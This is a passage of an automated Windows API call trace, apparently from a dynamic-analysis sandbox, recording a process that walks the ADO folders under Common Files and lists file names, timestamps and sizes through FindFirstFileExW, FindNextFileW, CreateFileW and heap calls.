dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0055.477] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0055.478] GetLastError () returned 0x12 [0055.478] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.478] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0055.478] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.479] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.479] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a6b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a6b8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a6b8) returned 1 [0055.479] NtClose (Handle=0x134) returned 0x0 [0055.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3da0 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3e28 [0055.479] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.479] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.479] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3eb0 [0055.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3eb0) returned 1 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3eb0 [0055.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3eb0) returned 1 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3eb0 [0055.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05100 [0055.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3f38 [0055.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3eb0) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0055.480] GetLastError () returned 0x12 [0055.480] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.480] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0055.480] GetLastError () returned 0x12 [0055.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3e28) returned 1 [0055.480] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3da0) returned 1 [0055.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0055.480] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0055.481] GetLastError () returned 0x12 [0055.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.481] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0055.481] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.482] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf0a6b8 [0055.482] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf0a6b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf0a6b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf0a6b8) returned 1 [0055.482] NtClose (Handle=0x17c) returned 0x0 [0055.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.482] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.482] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.482] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0055.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 